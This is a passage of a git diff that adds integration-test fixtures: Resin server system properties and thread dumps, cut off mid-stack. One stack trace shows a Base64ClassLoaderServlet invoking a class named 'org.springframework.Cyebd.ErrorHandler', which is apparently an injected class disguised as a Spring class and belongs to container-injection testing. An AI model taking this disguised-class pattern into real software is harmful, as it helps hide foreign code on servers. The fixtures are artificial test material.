+java.naming.factory.initial: com.caucho.naming.InitialContextFactoryImpl +com.sun.management.jmxremote: +java.vm.specification.version: 1.7 +sun.java.command: com.caucho.server.resin.Resin --root-directory /usr/local/resin3/ -conf /usr/local/resin3/conf/resin.conf -socketwait 44751 +java.home: /usr/java/jdk-7/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.7.0_17 +java.ext.dirs: /usr/java/jdk-7/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /usr/java/jdk-7/jre/lib/resources.jar:/usr/java/jdk-7/jre/lib/rt.jar:/usr/java/jdk-7/jre/lib/sunrsasign.jar:/usr/java/jdk-7/jre/lib/jsse.jar:/usr/java/jdk-7/jre/lib/jce.jar:/usr/java/jdk-7/jre/lib/charsets.jar:/usr/java/jdk-7/jre/lib/jfr.jar:/usr/java/jdk-7/jre/classes +java.awt.headless: true +java.vendor: Oracle Corporation +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +mail.smtp.host: 127.0.0.1 +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"http--8080-5$324290570" #34 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at com.caucho.vfs.SocketStream.read(SocketStream.java:175) + at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1015) + at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at java.net.SocketInputStream.read(SocketInputStream.java:203) + at com.caucho.server.resin.Resin.waitForExit(Resin.java:1270) + at com.caucho.server.resin.Resin.main(Resin.java:1372) + +"http--8080-11$1602304249" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1179) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"resin-port-8080" #27 daemon [TIMED_WAITING] on com.caucho.server.port.Port@49fbea5e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.server.port.Port.run(Port.java:1523) + at java.lang.Thread.run(Thread.java:722) + +"http--8080-7$1467807460" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1179) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"hmux-127.0.0.1:6800-8$1312288330" #29 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1179) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"RMI TCP Accept-0" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at sun.management.jmxremote.LocalRMIServerSocketFactory$1.accept(LocalRMIServerSocketFactory.java:52) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:387) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:359) + at java.lang.Thread.run(Thread.java:722) + +"hmux-127.0.0.1:6800-0$850148762" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1179) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"http--8080-1$687443331" #17 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at com.caucho.vfs.SocketStream.read(SocketStream.java:175) + at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1015) + at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"http--8080-12$901117885" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1618) + at org.springframework.Cyebd.ErrorHandler.toString(BasicInfoPrinter.java:26) + at com.caucho.vfs.AbstractPrintWriter.print(AbstractPrintWriter.java:221) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.caucho.server.dispatch.ServletFilterChain.doFilter(ServletFilterChain.java:103) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:87) + at com.caucho.server.webapp.WebAppFilterChain.doFilter(WebAppFilterChain.java:187) + at com.caucho.server.dispatch.ServletInvocation.service(ServletInvocation.java:265) + at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:273) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:682) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@39d7e744 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:135) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:151) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:177) + +"resin-10" #24 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@d903f07 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:714) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"resin-2" #16 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@7919eb85 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:714) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"hmux-127.0.0.1:6800-9$717881082" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1179) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"hmux-127.0.0.1:6800-4$1241539443" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1179) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@14b5a6e0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:503) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:133) + +"http--8080-14$53696252" #31 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1179) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"resin-pro-statistics" #25 daemon [TIMED_WAITING] on com.caucho.lifecycle.Lifecycle@21dec6bf + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.server.admin.StatService.run(StatService.java:142) + at java.lang.Thread.run(Thread.java:722) + +"resin-0" #14 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@28ca36f8 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:714) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"http--8080-13$1152822852" #36 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1179) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"resin-port-6800" #26 daemon [TIMED_WAITING] on com.caucho.server.cluster.ClusterPort@73dee8b3 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.server.port.Port.run(Port.java:1523) + at java.lang.Thread.run(Thread.java:722) + +"hmux-127.0.0.1:6800-6$482579563" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1179) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"resin-thread-launcher" #10 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$ThreadLauncher@2f7f7b33 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.util.ThreadPool$ThreadLauncher.startConnection(ThreadPool.java:845) + at com.caucho.util.ThreadPool$ThreadLauncher.run(ThreadPool.java:868) + at java.lang.Thread.run(Thread.java:722) + +"resin-1" #15 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@5a7169a1 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:714) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"http--8080-3$420296535" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:522) + at java.net.ServerSocket.accept(ServerSocket.java:490) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1179) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http--8080-10$896210330" #35 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at com.caucho.vfs.SocketStream.read(SocketStream.java:175) + at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1015) + at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"resin-destroy" #28 daemon [WAITING] on com.caucho.server.resin.Resin$DestroyThread@5476bf3c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:503) + at com.caucho.server.resin.Resin$DestroyThread.run(Resin.java:1779) + +"resin-alarm" #13 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.caucho.util.Alarm$AlarmThread.run(Alarm.java:586) + +"resin-block-manager-writer" #12 daemon [WAITING] on java.util.ArrayList@4bcdf76a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:503) + at com.caucho.db.store.BlockManager$BlockManagerWriter.run(BlockManager.java:354) + at java.lang.Thread.run(Thread.java:722) + +"http--8080-2$1561344663" #33 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.read(SocketInputStream.java:150) + at java.net.SocketInputStream.read(SocketInputStream.java:121) + at com.caucho.vfs.SocketStream.read(SocketStream.java:175) + at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1015) + at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) + at java.lang.Thread.run(Thread.java:722) + +"resin-thread-scheduler" #11 daemon [TIMED_WAITING] on java.util.ArrayList@3f2e7707 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.util.ThreadPool$ScheduleThread.run(ThreadPool.java:912) + at java.lang.Thread.run(Thread.java:722) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.caucho.db.store.BlockManager$BlockManagerWriter +com.caucho.server.admin.StatService +com.caucho.server.dispatch.FilterFilterChain +com.caucho.server.dispatch.ServletFilterChain +com.caucho.server.dispatch.ServletInvocation +com.caucho.server.http.HttpRequest +com.caucho.server.port.Port +com.caucho.server.port.TcpConnection +com.caucho.server.resin.Resin +com.caucho.server.resin.Resin$DestroyThread +com.caucho.server.webapp.WebAppFilterChain +com.caucho.util.Alarm$AlarmThread +com.caucho.util.ThreadPool$Item +com.caucho.util.ThreadPool$ScheduleThread +com.caucho.util.ThreadPool$ThreadLauncher +com.caucho.vfs.AbstractPrintWriter +com.caucho.vfs.QServerSocketWrapper +com.caucho.vfs.ReadStream +com.caucho.vfs.SocketStream +org.springframework.Cyebd.ErrorHandler diff --git a/integration-test/src/test/resources/infos/Resin4058ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Resin4058ContainerTestBasicInfo.txt new file mode 100644 index 00000000..cbd965be --- /dev/null +++ b/integration-test/src/test/resources/infos/Resin4058ContainerTestBasicInfo.txt @@ -0,0 +1,647 @@ +# Generated At 2025-08-10 15:00:00 +SystemProps: +java.runtime.name: OpenJDK Runtime Environment +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +java.vm.version: 25.342-b07 +jdk.tls.rejectClientInitiatedRenegotiation: true +javax.management.builder.initial: com.caucho.jmx.MBeanServerBuilderImpl +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +java.vm.name: OpenJDK 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /usr/local/resin4 +java.runtime.version: 1.8.0_342-b07 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/local/openjdk-8/jre/lib/endorsed +os.arch: aarch64 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.util.logging.manager: com.caucho.log.LogManagerImpl +java.naming.factory.url.pkgs: com.caucho.naming +os.name: Linux +resin.home: /usr/local/resin4/ +sun.jnu.encoding: UTF-8 +java.system.class.loader: com.caucho.loader.SystemClassLoader +java.library.path: /usr/local/resin4/libexec64:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +resin.server: app-0 +user.home: /root +user.timezone: Etc/UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.8 +java.awt.headlesslib: true +java.class.path: lib/resin.jar:/usr/local/openjdk-8/lib/tools.jar:/usr/local/resin4/lib/resin.jar:/usr/local/resin4/lib/activation.jar:/usr/local/resin4/lib/eclipselink-2.4.0.jar:/usr/local/resin4/lib/javaee-16.jar:/usr/local/resin4/lib/javamail-141.jar:/usr/local/resin4/lib/javax.faces-2.1.24.jar:/usr/local/resin4/lib/resin-eclipselink.jar:/usr/local/resin4/lib/validation-api-1.0.0.GA.jar:/usr/local/resin4/lib/webservices-extra-api.jar:/usr/local/resin4/lib/webutil.jar +user.name: root +sun.security.ssl.allowUnsafeRenegotiation: false +java.naming.factory.initial: com.caucho.naming.InitialContextFactoryImpl +java.vm.specification.version: 1.8 +sun.java.command: com.caucho.server.resin.Resin --root-directory /usr/local/resin4/ -conf /usr/local/resin4/conf/resin.xml -server app-0 -socketwait 41931 console +java.home: /usr/local/openjdk-8/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.8.0_342 +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +java.awt.headless: true +java.vendor: Oracle Corporation +jdk.tls.ephemeralDHKeySize: 2048 +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.security.ssl.allowLegacyHelloMessages: false +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"ThreadLauncher2[ThreadPool[system]]-1" #11 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:372) + at com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at java.lang.Thread.run(Thread.java:750) + +"resin-port-127.0.0.1:6800-20" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at com.caucho.network.listen.TcpPort.accept(TcpPort.java:1380) + at com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1039) + at com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:989) + at com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-27" #27 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at com.caucho.network.listen.TcpPort.accept(TcpPort.java:1380) + at com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1039) + at com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:989) + at com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-52" #52 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"ThreadScheduleWorker[]-2" #30 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:372) + at com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at java.lang.Thread.run(Thread.java:750) + +"resin-port-8080-42" #42 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at com.caucho.vfs.SocketStream.read(SocketStream.java:187) + at com.caucho.vfs.SocketStream.readTimeout(SocketStream.java:239) + at com.caucho.vfs.ReadStream.fillWithTimeout(ReadStream.java:1147) + at com.caucho.network.listen.TcpSocketLink.threadKeepalive(TcpSocketLink.java:1482) + at com.caucho.network.listen.TcpSocketLink.processKeepalive(TcpSocketLink.java:1460) + at com.caucho.network.listen.TcpSocketLink.handleRequestsImpl(TcpSocketLink.java:1300) + at com.caucho.network.listen.TcpSocketLink.handleRequests(TcpSocketLink.java:1215) + at com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1011) + at com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-35" #35 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-127.0.0.1:6800-22" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at com.caucho.network.listen.TcpPort.accept(TcpPort.java:1380) + at com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1039) + at com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:989) + at com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-37" #37 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"FlushWorker[]-5" #14 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:372) + at com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at 